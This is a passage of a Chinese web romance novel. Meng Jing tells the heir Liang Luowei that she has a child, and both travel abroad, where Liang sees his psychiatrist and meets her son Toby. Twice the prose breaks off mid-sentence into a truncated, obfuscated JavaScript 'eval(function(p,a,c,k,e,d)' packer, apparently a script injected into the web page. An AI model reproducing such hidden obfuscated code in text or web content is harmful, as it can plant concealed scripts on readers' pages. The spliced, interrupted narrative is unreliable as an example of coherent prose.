“以前我也是这么想的。”孟婧笑笑，“但是这几年有变化。” 两人爬到一处拍照点，从这里看出去可以看到很远的其他山脉。 孟婧站到最高处，看着浮动的云：“所谓的感觉虚无缥缈，过了好感和悸动那关，真正落在实处的是什么？爱情总会消散，我更在乎能抓在手里的东西。” “我不信。”梁曼站到和她并肩的位置，说，“如果你真的可以做到，就不会拒绝和梁珞唯的联姻了，于情于理，这都是符合利益至上的最佳选择。” 这话说得在理，也戳在孟婧的痛处。 “我有我的苦衷。”孟婧拿出手机，拍了几张风景，“等我想好了，会和梁先生说清楚的。” 梁曼用手挡着太阳：“孟婧，你是个心里有数的姑娘，不管你在国外这些年经历了什么，你和梁珞唯的事儿我不会插手，但我总归会站在自己家人这边想问题，请你谅解。” 孟婧有些无奈：“你们不愧是一家人…有的地方还真挺像。” “什么像？”梁珞唯不知什么时候出现在她们身后。 同样是被太阳晒着，他没皱半分眉头，蓝黑色的双眸在强烈光线下，像清透魅惑的玻璃球。 梁曼踏下几节台阶去揍他：“装鬼吓谁呢你！” 梁珞唯站在原地任她打：“什么也没听见。” 梁曼：“废话，听见就不光是打你了。” 孟婧已经习惯了姐弟两人的相处方式，见梁珞唯自己一个人，问：“裴总呢？” 梁珞唯回答她的问题，眼睛却是看着梁曼：“裴燃好像身体不太舒服，去下山的缆车那边等了。” 孟婧哦了一声：“那我们抓紧时间，别让他等太久。万一吹了风，感冒就不好了。” 梁曼没接话，独自走在前面。 再往上的路虽然不远，但孟婧满脑子快去快回，步子迈得大，呼吸也逐渐急促，根本顾不上别的。梁珞唯不是话多的人，梁曼再一不说话，气氛就变得沉默起来。 达到目的地，孟婧喘着粗气拍了很多风景，感受着脚下建筑的恢弘气势。三人中只有她是第一次来，梁曼帮她拍了些照片，梁珞唯则克制的没有再要求合影。 三人来到缆车排队的地方后，气氛这才轻松一些。 裴燃已经收拾好情绪，手里拿着两杯热咖啡微笑朝他们挥手。已经等了有段时间，咖啡温热得正合适，孟婧出了汗很渴，没有客气，直接拿走一杯。 另一杯显然是梁曼的，但裴燃没敢靠近，直接把被子塞到梁珞唯手上：“反正不是给你。” 梁珞唯又把咖啡递给梁曼，实在不懂：“绝交了？” 梁曼没有推脱，喝了一口，是她平时的口味。爬了大半天山，她也累了，语气蔫蔫的：“差不多吧。” 梁珞唯：“放心，他不会在这边待太久。” 梁曼将辫子散开，恢复披肩的浓密长发：“我知道。” 四人就在这样诡异的气氛中下了山。 已经从最惊艳的角度欣赏过长城，下行缆车显然无法再勾起孟婧的兴趣。户外拍照时光线太强，很多成片都没有细看，她一张张翻着手机，顺手删掉拍坏的那些。 手机震动，是签证中介发来的邮件，她只看了几行字，眉头就皱起来。 Toby签证材料出了一点问题，有几份文件需要监护人签字，还要亲自到场回答问题。中介机构协调的时间有限，如果错过，又要再等很久。 看来回去的计划要提前了。 梁曼和裴燃都是自己开车过来的，四个人三辆车，自然是梁珞唯送孟婧。两人同在一个小区，孟婧也确实有话要说。 “梁先生，关于那个秘密，也许要提前告诉你了。”孟婧放下手机。 她刚刚改签完机票，又和Devin、Ethan请了假，明早去机场，留给她的时间不多。 梁珞唯将车驶入小区：“我有东西要给你，一起去我家？” 孟婧想了想：“还是去我家吧。” 乔小仙那里不方便，梁珞唯家她又有些不敢，而那栋对她而言也是陌生地带的空房子，显然更适合谈事情。 梁珞唯看了她一眼，没说什么。 半小时后，孟婧再次踏进自家院门。 眼前的场景已经比第一次来时熟悉很多，之前倒的那颗树已经被重新栽进土里，孟婧呼吸着满院清新空气，心情放松地开门进入客厅。 所有从国外寄来的东西都堆在书房，客厅空空荡荡，只有最原始的家具。孟婧相信，这里的摆设甚至都和五年前一模一样。 可她依旧什么都想不起来。 虽然很多天前就打扫完毕，她还是没有搬进来，内心抗拒是最主要的原因。她发现，自己似乎没有回国前那么强烈的想要找回记忆了。 这种心态的转变让她害怕，如果永远想不起来还好，如果有一天能想起来…她会不会后悔现在做的决定。 院门的铃声将她拉回现实，孟婧将门再次锁好，将梁珞唯迎到院中 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协议中还指出，结婚三年后，只要有任何一方想要结束关系，即可办理离婚手续，离婚后孟婧所持股份不变。 除非在此期间梁氏和沈氏全都破产，否则这几份协议对孟婧来说，几乎没有任何损失。 然而世上没有免费的午餐，孟婧不相信梁珞唯会这么好心：“所以梁先生到底想从这场婚姻里得到什么呢？” 梁珞唯看着孟婧，认真道：“梁氏收购沈氏后，实际控制人必须是我，你母亲不可以再参与公司决策，此外，梁氏相关业务将可以使用所有沈氏的专利和配方。” 孟婧问：“为什么是三年？” 梁珞唯仰头想了想：“如果快，也许一年就可以。我的目的孟小姐应该清楚，只要梁庭什离开集团，这场婚姻就没有存续的必要了。” 句句都只提了公司，丝毫没有涉及到两人的感情。 孟婧觉得这样的梁珞唯有点好笑，似乎在用尽全力地争取让她嫁给他，说出的话却都和结婚没什么关系，似乎只是再谈一场集团之间的合作。 “梁先生。”孟婧收起文件，“你说了这么多，除了合同条款，还有其他吗？” 梁珞唯有些疑惑，不知道自己还有哪里漏掉了：“这些只是我能想到的，孟小姐有任何要求，都可以加在条款里。” 孟婧被逗笑了：“任何？” “任何。”梁珞唯不觉得有什么是自己解决不了的。 孟婧朝他走近两步：“那确实有，比如结婚不办仪式，婚后不接吻不上床，各住各的…” “等一下。” 梁珞唯发现孟婧说的他都没有考虑过，并且即使知道了，也并不想同意。 “这些是私事，为什么要约定在合同里。”违约风险显然很大。 “孟家图穷匕见，现在孟小姐应该考虑的是公司。”梁珞唯试图帮助孟婧将思想转入正道，“放眼京城，没有其他家可以再给出这样的条件，无论你付出多少代价。” 梁珞唯低沉的嗓音自带压迫：“孟小姐若想结婚，新郎必须是我。” 这句话强势、直白，打碎了孟婧眼中的滤镜，终于让她意识到梁珞唯的身份地位——作为梁屹承的儿子，在京城搅弄风云的梁家二少，这桩婚事原本是不容她有选择余地的。 是什么给了她错觉，让她觉得梁珞唯似乎也可以为了她… 就凭梁曼说他五年前暗恋自己？凭他这几天帮了她很多次？凭他刚才斩钉截铁说的那句“任何”？ 什么时候开始，她居然也感情用事了？ 即使在她面前一直保持着斯文矜贵的姿态，但外界传闻也非空穴来风。梁珞唯做过的事情她在国外时就已经调查过一二，为了扳倒自家兄弟不惜毁掉整个集团的疯子，会乖乖听她提条件？ 也好，趁这个机会说清楚也好。孟婧不怕说出实情，只是这一天来得比计划中快，她还没有做好心理准备面对接下来发生的一切。 梁珞唯在她前方两米左右，是正常的社交距离，夕阳西下，男人笔直的身影落在孟婧肩上，勾着人不自觉靠近。 孟婧却觉得两人之间隔着崇山峻岭，可她今天刚刚征服一座宏伟的山峰，不知哪里来的自信，让她有心力想要再去试试。 直到檀木香味逐渐浓郁，她才停住脚步，两人面对面站着，似乎抬手就可以抓住对方的衣襟。 夕阳刺眼，晃得孟婧眸中潋滟，她抬起头，视线划过梁珞唯宽阔的肩膀，流畅的下颌，对上他蓝黑色的眼睛。 “我家bb下周回国，不知梁总有没有幼儿园可以推荐？” 握在手心的文件被汗浸湿，孟婧不愿放过梁珞唯的任何一个反应，就这样静静地和他对视。 没有惊讶，没有愤怒，也没有嘲讽，男人眼中是无尽的迷茫：“你说什么？” 孟婧唇角艰难地勾起，声音有些干涩：“我说，我有一个孩子。” 说完，留他一个人愣在原地。 45. 第四十五夜 凌晨三点，张沛接到梁珞唯的电话。老板睡眠不好，夜里布置工作也是常有的事，只是接通后持久的沉默让张沛有点崩溃。 直接挂电话肯定不行，在双方沉默了两分钟后，张沛实在忍不住，怯生生问：“老大，你还好吧？” “我没事。”梁珞唯声音听起来并无异样，只是嗓子有些沙哑，“张秘书。” “哎，我在呢。”张沛从床上坐起来，静静看着对面墙上的挂钟。 秒针又转了半圈后，梁珞唯听起来像在深呼吸，似有万般隐忍：“帮我查一个人。” “好的老大，你说。”张沛拿起床头的平板，等待梁珞唯说出一个名字。 张沛没有催促，梁珞唯也就一直没有开口。 半晌后，电话那头传来低沉的一句：“算了，你睡吧。” 随后，电话被挂断。 张沛呆呆看着手机上的通话记录，以为是梦：“我刚才…接电话了？” 灯火通明的卧室内，梁珞唯坐在床边。 手机屏幕早已变得漆黑，五指按在屏幕上，遮挡住他映在上面的影子。偌大的别墅内安静且孤寂，只剩窗外呼啸的风声。 回家后他按时吃了药，到了晚上却依旧毫无睡意。孟婧离开前的画面一直在眼前循环播放，一遍又一遍。 那张在夕阳下温婉的脸，和眸中荡漾的水汽，似乎化成了利刃剜进他脑中。 让他无法入眠的，是从未感受过的刺痛和迷茫。 她说：“我目前是单身。” 她说：“这件事我还没有告诉任何人，还请梁先生替我保密。” 她说：“我很感恩梁先生没有事先调查我，希望今后也不要，我们大人之间的事，没必要影响到孩子。” 她还说了什么？似乎是明天上午的飞机。 离开后，还回来吗？ 梁珞唯想不起来自己是怎么回答的，但可以肯定的是，他没有答应孟婧的请求。 “大人的事…”他暗骂了一句，“她算什么大人。” 二十一岁到二十六岁，多少富家千金还在骄纵玩乐的年纪，孟婧在做什么，生孩子？ 凭什么让她承受这些。 孩子的父亲到底是谁，什么时候分开的，为什么要和她分开，为什么要让她一个人带着孩子在国外。 还会回来找她吗？ 她还会接受他吗？ 梁珞唯烦躁地起身，第三次下楼去冰箱里拿水。他想喝酒，却需要保持理智和思考，无数的问题像飞蛾般撞在他的太阳穴上，像要炸开一样从四面八方猛烈攻击着。 孟婧出国不是去享乐的，怀孕生子，傻子也能猜到这几年她的学业和事业会有多难。 他一开始还不理解，孟家的女儿，不回国继承家里的产业，而是在国外去做一个小小的审计，刚刚做出成绩却又辞职回国，到底在折腾什么。 原来都是为了她的孩子。 她爱别人，却还要来招惹他，把他当什么？第二个孟许堂吗？ “靠！” 矿泉水瓶表面结了霜，扔在地上滑出去很远，不知道滚到哪里。梁珞唯一只手捂着头，另一只手撑着厨房台面，强迫自己不要细想。 他清楚自己情绪的来源，不是因为什么孩子，也不是因为孟婧的隐瞒，而是来自于一种无能为力引发的愤怒。 他没本事让时间倒转，即使之后付诸再多，也依旧改变不了这五年内已经发生的事情。 与此同时产生的，还有内心阴暗角落中滋生出的无限嫉妒，浑身的暴力因子都催促着他找出那个男人，让他永远都不能出现在孟婧面前。 刚才给张沛打电话，梁珞唯差点就要说出调查那个男人的话，可想到孟婧诚恳请求他保密时的眼神，那种贯穿全身的无力感又压制住了戾气，让他整个人像被抽干了一样恢复茫然。 心情起起落落，周而复始，随着时钟的指针一圈又一圈地转着。 不对，一定有什么事情出了差错。 那棵海棠树为什么会出现在孟婧家的院子里，梁曼为什么会觉得五年前他曾经有过一段时间的暗恋，为什么他不会像讨厌其他女人一样讨厌孟婧，反而总是控制不住地想要主动靠近。 当初那场病的起因，真的只是因为梁庭什吗？ 原地踏步终究找不到答案，梁珞唯忍着晕眩和疼痛，拨通了Mike的电话。 * 林屿打来电话的时候，开往T3的小火车正在进站，乌泱泱的游客涌进车厢，孟婧没上，找了个安静的地方按下接听。 刚下手术台，林屿电话那头还有医生打招呼的声音：“刚看到你的消息，怎么提前回来了？” 孟婧昨晚没睡好，声音闷闷的：“Toby签证的事，中介说需要我亲自去领护照。” 林屿说：“明天下午Toby幼儿园有个家庭足球赛，你有时间？今晚手术做了六个小时，可怜可怜我？” 孟婧切了一声：“男人不能随便说不行的林医生，但是看在这段时间你帮我这么大忙的份上，足球赛就不用您亲自参加了。” 林屿笑笑：“早点回来也挺好的，你不在，Toby都要玩疯了。” 滴滴声响起，小火车的门缓缓关上。 孟婧目送着满车旅人，突然归家心切：“林屿，我也想尽快离开这里。” 林屿听着不太对劲：“孟婧，发生什么事了？” “回去再说吧。” 又有新的旅客从上层的扶梯下来，远处传来轨道的震动声，孟婧挂断电话，站到候车的第一排。 因为昨晚突如其来的大风，孟婧乘坐的航班有所延误，贵宾休息室准备了丰富餐食。 孟婧没心思吃，坐在大厅满面的落地玻璃窗前，看着跑道上的工作人员将行李一件一件传送到机舱内。 她没有行李，只背了简单的背包，因为这不是旅行，不是出差，而是回家。 到底哪里才算家，她对此产生了轻微的认知矛盾。 从没想过摊牌后会发生什么，不过真的发生了，她也愿意让事情顺其自然。 昨天，她赶在梁珞唯反应过来之前连续说了很多不经大脑的话，虽然很难记清细节，但不想也知道对于他来说有多冒犯。 和预想的不同，梁珞唯听得很认真，认真到让她想起大壮仔细辨别她和乔小仙聊天时的眼神，他像在仔细领会一种不熟悉的语言，并从中分析出自己想要赞同的那部分。 人真的好奇怪，剖开内心深处最脆弱的地方给对方看之前，其实是带着一丝自毁倾向的。 嘲笑吧，愤怒吧，放弃吧，是孟婧以为的潜台词。 但真的说出口时，她却发现自己远没有那样洒脱，甚至带有某种畏惧。 梁珞唯会怎么想她，还会坚持联姻吗，看不起她吗。 那些稀薄的好感，会散掉吗。 她清晰记得，昨天梁珞唯的眼神饱含克制，没有愤怒，没有嘲笑，没有熄灭的光。 他只问了一句话：“孟小姐现在是否单身？” 孟婧承认，那一刻，她有瞬间的心动。 就像她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睡梦中分不清现实，孟婧似乎回到了某个夏夜，在那栋别墅的主卧醒来。 窗外月朗星稀，还能听到吵闹的蝉鸣，她将视线收回，复古单人沙发摆在离床头很近的位置，上面坐着一个男人。 人影朦朦胧胧，孟婧依稀可以辨别出那人穿了一件白色T恤，至于其他的，即使皱紧眉也看不清。 “过来。”她听到自己说。 男人听话地从沙发上起身，坐到她手边，浑身散发着让人安心的味道。 孟婧再次闭上眼，内心像被温情浸泡过一般柔软，黑暗中摸到他的手，她缓缓攥住，笑着说：“你抱抱我。” 男人一只手被她握着不动，另一只手摸上她的额角，荷尔蒙笼罩过来，俯身在她耳边说了句什么。 孟婧听不清，只觉得他的呼吸洒在自己颈侧，有些痒，也很舒服。 这样的亲密接触既熟悉又陌生，男人唇峰蹭过孟婧的耳廓，于是孟婧也主动勾住他的脖子。 鼻尖蹭着鼻尖，她忍住想将唇贴上去的冲动，等待对方再次开口。 无奈轰隆声太响，她还是辨别不出。 想知道对方说了什么，也想留住此刻内心的欢愉，孟婧手臂向下用力，将人箍得更近：“嗯？” … “孟婧，醒醒。” 低沉，磁性，是熟悉的声音。 孟婧眼眶发涩，终于在剧烈的摇摆中恢复意识。 梦境跨越到现实，视线依旧朦胧，她感觉自己手臂确实圈着什么，脸颊上的灼热呼吸也是真的。 “梁珞唯…”鼻尖险些划过他的唇角。 梁珞唯答应的声音有些不稳。 梦…没有醒吗？ 可视觉、触觉和嗅觉明明如此真实。 蓝黑色的眸子被飞机顶部的小夜灯映出深海，与此同时，孟婧感觉自己的后腰被狠狠箍住。 46. 第四十六夜 “咔”的一声，腰上的安全带将孟婧箍住，身体不再跟着颠簸，心跳却漏了几拍。 耳塞从耳道中脱落，飞行时的嗡嗡声撞击耳膜，她终于意识到，自己是在飞机上睡着了。 浑身脱力般松开胳膊，摸到冰冷的金属卡扣，孟婧哑着嗓子，感觉喉咙被灼着：“你…” “你发烧了。”梁珞唯不给她说话的机会，“能坐起来吗？” 孟婧的座椅是完全放倒状态，一会儿要测体温吃药，不能再躺着。 “我来吧。”一直等在梁珞唯身后的空姐上前一步，“谢谢梁先生，气流还没有结束，麻烦您回到自己的座位上，系好安全带。” 梁珞唯嗯了一声，拇指在孟婧眼角处揉了揉，起身回到和她相邻的位置。 空姐将耳温枪放到小桌板上，温柔地帮孟婧升起椅背，轻声解释：“刚才遇上气流，想叫醒您系好安全带的，可是怎么都叫不醒。那位先生说认识您，主动过来帮忙。” “是认识的。”可能是吃了助眠药的缘故，孟婧昏昏沉沉，“谢谢。” 被椅背推着起身，视线下移，孟婧这才看到机舱全貌。公务舱内几个乘客都在休息，除了梁珞唯头顶的阅读灯亮着，眼前的一切都带着层灰暗的朦胧。 她看了一眼屏幕上的时间，发现自己尚无法思考：“请问…还要飞多久？” “目前看来，还有六个小时落地哦。”空姐帮她测温，橘色的液晶屏在黑暗中亮起，“38.8度，有点高了。您身上有带退烧药吗？机组这边可以提供冰块为您物理降温。” “嗯。”孟婧有随身携带药盒的习惯，布洛芬属于常备，“麻烦给我一杯温水。” “没有问题，请稍等。” 趁着空姐去准备的空隙，孟婧犹豫再三，降下隔板。 梁珞唯冷冽英俊的脸逐渐露出，他上身穿了一件白色T恤，外搭深蓝色亚麻衬衫，衬衫袖口微微卷起，露出结实有力的手腕。 敲完最后几个字，梁珞唯抬头看她，笔记本电脑屏幕的光映在金丝眼镜的镜片上，映出女人略显苍白的脸。 这是孟婧第一次看到梁珞唯戴眼镜，矜贵的镜架款式柔和了面部的锋利，让他整个人平添一分斯文和清冷。 孟婧余光看了一眼他骨节分明的手掌，想到自己刚刚的越界，窘迫地捋了几下刘海：“你怎么在这里。” 梁珞唯似乎并没把刚才的事放在心上，他合起电脑：“和孟小姐一样，都是不可说的私事。” 他的声音不大，将将抵过飞行中的噪音，即便如此，“不可说”三个字依旧被加重了音量送进孟婧的耳朵。 孟婧知道他还在介意，这是意料之内的，她甚至乐于听到这样的不满，对方能表达出来，反而减轻了她的内耗。 “刚才…是我梦魇了，抱歉。”孟婧感到脸颊越来越热，不知是烧的还是别的什么，“梁先生这次出来，什么时候回去？” “怎么，怕我跟踪调查？”梁珞唯摘掉眼镜，又变成以往的难惹面孔，“孟小姐放心，如果再遇上，我也只会说一句好巧。” 孟婧嗓子很痛：“我不是那个意思。” “什么意思都无所谓。”梁珞唯关掉阅读灯，整个人陷入阴影中，“我说过了，孟小姐想要结婚，新郎必须是我。” 又是一个气流，耳塞在颠簸中掉落在地，孟婧来不及去捡：“你说什…” 没有等她说完，梁珞唯便将座椅调平，身形逐渐隐藏在逐渐上升的隔板之后。 “您的温水。”空姐放下杯子，弯腰将耳塞捡起，“如果有任何需要，请随时按呼叫铃。” “好的谢谢。”孟婧将随身的背包抱在怀中，若有所思。 梁珞唯刚才的话…是她理解的那个意思吗… 不知是药效发挥了作用，还是梁珞唯的那句话成功转移了她的焦虑，朦胧中，孟婧很快睡去，而且没再做任何一个梦。 再次醒来时，额头汗湿一片，孟婧用手背试了试温度，已经降下来大半。 “我们已经开始降落…”广播开始提醒旅客做好相关准备。 孟婧暗自惊叹于时间之快，再次将椅背调直。隔板依旧在，她也没有将它降下来继续攀谈的打算。经过冗长一眠，她已经想明白，无论梁珞唯此行的目的是什么，反正所有事情已经说开，她内心坦荡，无惧任何。 半小时后，飞机落地。 仓门打开的第一时间，梁珞唯拿起包，下了飞机。 男人虽然衣着低调，但由于身材比例和深邃五官在人群中太过突出，从到达口走出时，还是引得了无数惊艳目光。 “William！”一个瘦高女人挥了挥手中的牌子，往他的方向走了几步。 梁珞唯皱眉看着牌子上的内容——上面写了他的中文名字，名字后面还画了一个歪歪扭扭的爱心。 “Anna.”梁珞唯点点头，示意她放下，“这是Mike的主意？” “是我想的。”Anna是位三十岁的华裔，做Mike的助手已经很多年，“你有阵子没来了，我想隆重一些。” 梁珞唯回头看了眼空荡荡的大厅，和Anna说：“走吧。” Anna开的是黑色高尔夫，副驾座位放不下梁珞唯的长腿，他把座椅往后调了几档，一个蜘蛛侠玩具模型掉在脚边。 梁珞唯拿起来端详，是小孩子才喜欢的款式。 “William，麻烦帮我放到车门的收纳格里。”Anna启动车子，主动解释，“我最近正准备收养一个孩子，她很喜欢蜘蛛侠。” 梁珞唯一向不怎么和人聊天，根据Anna对他的了解，话说到此，就应该结束了。谁知男人将东西放好后，居然面无表情地再次开口：“你再婚了？” Anna愣了一下：“没有，我现在单身。” 梁珞唯在刚刚的航行中，紧张过，悸动过，心疼过，也口不对心过。过山车般的情绪被强烈压抑了十几个小时，找不到宣泄的出口，变得一点就炸。 这话不知戳中了他心里的哪一根刺，他将车窗放下看着窗外，皱着眉问：“就那么想当单身母亲，很快乐吗？工作那么忙，怎么兼顾？万一以后再嫁人呢？即使对方…即使对方不介意，但如果你们还要有自己的孩子呢？会不会伤害到这个孩子，你想吗？” Anna被他突如其来的质问吓得差点追尾，不过她知道，既然下了飞机就要直奔诊所，肯定是身体出现了什么严重的问题。虽然她不清楚梁珞唯的具体病情，但从现在看来，他的情绪问题应该和感情相关。 作为Mike的得力助手，Anna也是持有资格证的专业医师，她将驾驶位的车窗也摇下来，一边让前排空气对流，一边用安抚的语气说：“William，如果你的问题问完了，可以听听我的解释吗？” 戾气抒发完毕，又被Anna刻意安抚，梁珞唯烦躁地做了个深呼吸，恹恹地说：“抱歉，刚才…其实不是针对你。” “理解。”Anna温柔一笑，“没想到你看起来酷酷的，心思却这么细。” 车子驶入高速，路边的风景和上次来时一模一样。梁珞唯主动将车窗关上，静静等着Anna的解释。 “你也知道，我上段婚姻破裂是因为生育问题。”Anna一脸轻松地说，“上个月，我前夫又离婚了，还是因为生育问题，只不过这次是女方提出来的。” 梁珞唯问：“他不行？” “嗯，被逼着去做了检测，精子活跃度几乎为零。哈哈，我在唐人街开的那些中药都白喝了。” 梁珞唯嘁了一声：“离了正好。” “是啊，海阔天空。”Anna笑着，“可同时我也对婚姻感到了厌倦。” “我就是被一对老夫妇领养的，现在他们都去世了，留我一个人在这边生活。我工作稳定，收入尚可，还有现成的大房子，完全可以独自负担一个孩子成长的物质条件。” “我喜欢孩子，为了要一个后代吃了那么多苦，连我自己都没想到，当得知自己其实具备生育能力之后，却突然不想生了，不论用什么方式。” “延续基因变得没那么重要，我知道之前做的一切努力都是为了达到某种自我救赎，而且当我看到她的第一眼，我明白，她就是拯救我的天使。” “William，你懂那种感觉吗，当一个人拥有了选择的权利，做出的选择才是真正的决定，不然，大概只能算是对现实的妥协吧。” Anna握紧方向盘，认真看着前方的路：“我为自己的决定而感到骄傲，并且愿意承担它带来的一切后果。” “选择的权利么。”梁珞唯看着窗外风景变换，自嘲地说，“我不懂。” 他不需要选择的权利，也不想思考什么叫对现实的妥协，他只知道自己病了，需要治疗，需要恢复成为一个正常人，这样才可以靠近和保护一个人。 仅此而已。 一路再无对话，十五分钟后，车子到达目的地。 Mike所在的诊所是当地一所著名医学院下属机构，面诊和治疗只占其中一小部分，园区其他建筑多是高端实验室，所以往来的人并不多。 临行前一晚，Mike在电话中明确表示过，梁珞唯五年前的病情并没有什么隐瞒，只是精神受到刺激后的应激反应，这几年他恢复情况不错，足以证明Mike所言非虚。 但梁珞唯就是没来由地感觉不对，哪里都不对，如果不亲自来一趟，恐怕没多久又要发病。 Anna今天调休，只是临时去机场接人，所以遇到同事总被问上几句。梁珞唯提出自己过去，被她拒绝。 “Mike特地嘱咐让我亲自送你。”Anna看了一眼时间，“我也不是很着急，去看看那孩子而已。” 又拐了几个弯，导医台出现在两人面前，Mike背对着梁珞唯，正拿着病例和一位男助手说话。 Anna叫了Mike一声，两人齐齐回头。 那位助手脸上带着惊讶：“William？他不是已经好了吗。” 梁珞唯脚步一顿。 之前即使病情反复，让他有短暂的失忆，也从不是完全忘掉，总会有些朦胧的熟悉感。但他可以肯定的是，和他打招呼的是一张陌生的脸，梁珞唯从未见过此人。 他点点头：“你认识我？” “没…没见过…”那人面色紧张，磕巴着看向Mike，“老师，我先走了。” 随即离开。 梁珞唯记下了那人胸前的名牌，走到Mike面前：“我有话问你。” 两人进了诊室。 门关上，Mike撇了撇嘴，皱眉道：“William，我知道，越阻止你，你就越觉得这其中有什么秘密，所以我才让Anna去接你。” 梁珞唯环视他的办公室：“我拿不出证据，但直觉你有事隐瞒，刚才外面那个人，他为什么会认识我？” “这很正常，你接受治疗很多年，这件事总不是秘密。”Mike耸耸肩，“而且你很帅，让人过目不忘。” “不用和我说这些。”梁珞唯选了单人沙发坐下，“如果你一直是这种态度，我不介意每天来访。” Mike听到这话有点急了：“梁，到底发生什么让你产生这样的想法！你不说，我怎么帮你治疗。” “治疗？”梁珞唯冷笑，“明明记忆是好的，我却觉得它坏了，怎么治。” Mike揉了揉太阳穴：“我刚收到通知，要去另一个城市出差，现在就要离开，如果你想治疗，可能需要等几天。” 梁珞唯挑眉：“故意的？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁珞唯顺着他的声音往下看，才发现餐车前摆放的露营椅上坐着一个小男孩。 男孩是中国人，大概四五岁，头发微卷，皮肤雪白，身穿黑白条纹毛衣开衫和水洗牛仔裤，脚上一双黑色匡威，配上怀里的红色包包，漂亮软萌，像个正在街拍的童星。 “李叔叔也想参加，他给我买了小蛋糕。”男孩眨着大眼睛，扭头看着窗口滚动的烤肠，“赵叔叔，你要努力呀。” “行行行，小馋猫。”男人没敢插竹签，用纸巾裹上一根烤肠，从餐车里出来，“来，足球巨星。” 小男孩开心接过，晃了晃不着地的小腿：“赵叔叔，你现在是第三名。” 男人笑着用手抹了把围裙：“成。” 刚想回到餐车里，他发现了在旁边驻足的高大身影，热情地说：“哥们儿，中国人？” “嗯。”梁珞唯看了一眼餐车窗口，“有咖啡吗。” 男人上下打量一番，觉得梁珞唯不像普通游客：“只有速溶，喝吗？” 梁珞唯准备付款：“多少钱？” “嗨，请你。”男人回了车上，“坐那儿歇会儿，马上啊。Toby，替我招待招待客人！” 梁珞唯听到他叫Toby，挑了挑眉。他坐到小男孩旁边的户外椅上，一双长腿伸到远处，像个刚刚结束街拍的男模。 “叔叔好，我是Toby。”小男孩咬了一口烤肠，脆生生地说，“你是Anna的朋友吗。” 梁珞唯眯起眼睛，问：“你怎么知道。” “因为这是Anna的车，你一直看，还照镜子臭美。” 梁珞唯看了一眼Toby面前桌上的蜘蛛侠玩具：“我在等Anna，你知道她去哪儿了吗。” 如果他猜的没错，眼前这个小孩儿应该就是Anna要收养的孩子。 Toby没有回答他的问题，自说自话道：“可是我们要去看电影。” 梁珞唯哼了一声。这孩子看着无害，心眼还挺多：“放心，不耽误你们时间，我拿了行李就走。” “拿行李？”Toby反应了一会儿，随即瞪大眼睛，“你是梁叔叔。” 这次换成梁珞唯讶异：“你知道我？” Toby指指高尔夫：“昨晚，我们一起画了爱心，Anna教我梁字怎么写，我学不会。” 梁珞唯了然。也难怪Anna会说他是天使，确实挺可爱，尤其是脸上那坨粉嘟嘟的软肉，想捏。 Toby看他面色变得柔和，笑嘻嘻地晃腿：“梁叔叔，你好帅。” 略带棕色的卷发上铺着阳光，大眼睛一眨一眨地，里面藏着星星月亮。 “咖啡来咯。”餐车中的男人将飘香的纸杯递给梁珞唯，打趣道，“兄弟，小心点儿，别被这祖宗绕进去。” “多谢。”梁珞唯用咖啡暖着手，“他自己在这儿没问题吗？” Anna不是来看孩子的，怎么把人放在这里自己走了。 男人爽朗一笑，弯腰拍拍Toby的肩膀：“他可是这条街上的小社牛，我们看着长大的，出不了事。” 梁珞唯点点头，脑中冒出“吃百家饭长大的”这句话，心中更是一软。 晃神中，衣角被轻轻拉扯住，奶声奶气的声音凑近，听起来怯生生的：“梁叔叔，你会踢足球吗？” 梁珞唯嗯了一声：“你要跟我赛一场？” “我们一队去比赛，好不好。” 梁珞唯还没反应过来，餐车里的男人先不干了：“Toby，烤肠还没吃完呢，怎么就看上别人了！这位叔叔可什么都没给你买。” Toby还拽着梁珞唯的衣角，两个酒窝明晃晃的：“因为梁叔叔很帅，眼睛里有蓝色宝石。” 梁珞唯面无表情地看着他用手抹了抹嘴，又用沾满油的手去拉他的衣服，一边拉，一边还得逞般咯咯笑着。 还真差点被他绕进去。 “你个小兔崽子，往哪儿抹呢嗯？” “哈哈哈哈！” 梁珞唯俯身，一只手在Toby软萌的卷发上揉着，另一只手在他水嫩嫩的脸上掐了一把。 手感Q弹软糯，莫名让他想起为孟婧抹掉的那滴泪。 47. 第四十七夜 Anna领着Emma来到停车场，远远就看到梁珞唯和Toby并排坐在路边。一大一小两人坐姿好像复制粘贴，手上都捧着纸杯，齐刷刷看着同一个方向。 Emma看到Toby身边的陌生人，有点害怕：“Anna，Toby旁边的叔叔是谁？” 她比Toby大半岁，是个混血，长相普通，看人时眼中带着胆怯。 Anna一脸和煦：“他就是梁叔叔呀，昨天你和Toby还在他的名字后面画了爱心，记得吗？” Emma又看了看，将半个身子躲在Anna后面：“他是你的男朋友吗？” Anna有些哭笑不得：“当然不是，他只是我的普通朋友。” “你怎么没有男朋友。”Emma嘟着嘴，“我还有呢。” 这话结结实实吓到Anna了：“宝贝，你是说，你有男朋友？” “是啊，Toby昨晚说他要当我的男朋友。”Emma抬头看着Anna，面露天真，“他还说爱心是男朋友才能涂的，我的水彩笔不够用了，只能找他。” “哦…这样啊…”Anna松了一口气。 那小子古灵精怪的，要不是快回国了，她还真得提防提防。 Emma见Anna一脸愁容，有些低落，低头看着脚尖问：“我邀请他一起看电影，你是不是不开心。” “不会，我很开心的，Emma。”Anna蹲下身子，揉揉她的脸蛋，“和你在一起的每一秒，我都很幸福。” Emma抿着嘴：“真的吗？” Anna：“真的，我保证。” “Emma！”身后传来小男孩嘹亮的嗓音。Toby放下了手中的可乐，抱起桌上的蜘蛛侠玩具，朝她们跑过来。 “我给你带了新玩具，这个蜘蛛侠可以变身，你看！” 肉乎乎的小手在模型的关节处左捏捏右捏捏，蜘蛛侠的胳膊随之举过头顶。 “送给你。”Toby递出玩具，“等我长大了，就学他一样带你飞。” Emma盯着蜘蛛侠玩具，露出一个腼腆的笑容，又抬头看看Anna。 Anna松开牵着她的手：“你男朋友送的，收下吧。” Emma这才开心的接过：“谢谢Toby，你真好。” Toby嘿嘿一乐：“他还可以变身，我教你！” Anna看着两个小人儿，又看看远处正望过来的梁珞唯，搂着他们说：“孩子们，去赵叔叔那边玩，我和梁叔叔说几句话，可以吗？” “好的Anna。” Toby牵起Emma的手往餐车的方向走，见Anna没跟上来，奶声奶气地偷偷问，“Emma，你想喝可乐吗？” 